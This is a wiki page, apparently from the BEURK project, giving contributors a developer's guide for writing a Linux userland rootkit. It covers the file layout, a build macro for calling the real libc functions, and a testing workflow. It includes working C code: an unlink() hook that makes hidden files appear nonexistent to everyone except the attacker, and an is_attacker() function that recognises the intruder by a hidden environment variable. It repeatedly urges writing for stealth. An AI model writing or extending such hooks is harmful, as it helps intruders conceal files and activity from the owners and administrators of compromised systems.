Skip to content
chqrly edited this page Jun 8, 2015 · 12 revisions

Developer's Guide

The following guide provides requirements and recommended practices for writing code on the BEURK rootkit.


Writing a function hook

A hook is an homemade function which pretends to be a standard function.

As the rootkit is mostly based on function hooking, a complete procedure is available to ease new hooks development.

Requirements

Every hook must meet the following requirements:

  • A prototype defined in /includes/hooks.h

  • A source file named /src/hooks/<hook_name>.c

  • A dedicated unit-test in /tests/core/hooks

  • Function must start with:

    init();
    DEBUG(D_INFO, "called <hook_name>(<man_section>) hook");

NOTE: init() must be called explicitly on each internal API function because some systems only call it at library memory load time.

Prototype in hooks.h

Function hook's prototype must be defined in /includes/hooks.h, and flagged with the _HOOKED macros in it's end.

NOTE: The _HOOKED macro tells the compiler that the function symbol must be visible, as the rootkit is compiled with the -fvisibility=hidden attribute.

Example:

/* /includes/hooks.h */
int unlink(const char *pathname) _HOOKED;

This step is very important, as the builder parses hooks.h in order to generate REAL_<HOOK_NAME> macros.

Source code file

Each function hook must be written in its own file, named /src/hooks/<hook_name>.c. In order to ease development, a REAL_<HOOK_NAME>() macro is generated at compile time, and can be used to call the equivalent non-hooked function.

Keep stealth in mind while writing a hook !

Example:

/* /src/hooks/unlink.c */

int unlink(const char *pathname) {
    DEBUG(D_INFO, "called unlink(2) hooked");

    if (is_attacker()) {
        return REAL_UNLINK(pathname);
    }
    else if (is_hidden_file(pathname)) {
        errno = ENOENT;
        return -1;
    }
    return REAL_UNLINK(pathname);
}

Test suite

Each hook must be tested to ensure that no breakage occurs, and to assess stealthyness. Those tests must be placed in the /tests/core/hooks directory, and will be automatically picked up by our test script.

  • Steps:
    • Read the README file at /tests/core/hooks/.
    • Create a test file named /tests/core/hooks/<HOOK>.c with valid checks.
    • Add tests calls on /tests/core/hooks/run.py.

Writing an Internal API Function

Requirements

Every non-hook function must meet the following requirements:

  • A prototype in /includes/beurk.h
  • A .c file in /src/<function_name>.c
  • A dedicated unit test in /tests/core
  • The first line of the non-hook function must be DEBUG(D_INFO, "called <function>()")

Example

In this example, we decide to write an is_attacker() function.

  1. Add the prototype on beurk.h
  • (append to /includes/beurk.h):

/* is_attacker.c */ int is_attacker(void); ```

  1. Write the function itself
  • (create an appropriate .c file, aka /src/is_attacker.c):
    int is_attacker(void) {
        init(); /* must be called at start, as for function hooks */
        DEBUG(D_INFO, "called is_attacker()");
        static int attacker = -1;
    
        if (attacker != -1)
            return (attacker);
    
        if (getenv(HIDDEN_ENV_VAR)) {
            DEBUG(D_INFO, "This is the attacker.");
            attacker = 1;
        }
        else {
            DEBUG(D_INFO, "This isn't the attacker.");
            attacker = 0;
        }
        return (attacker);
    }
  1. Create a test for the function
  • Read the README file at /tests/core/.
  • Create a test file named /tests/core/<function>.c with valid checks.
  • Add tests calls on /tests/core/run.py.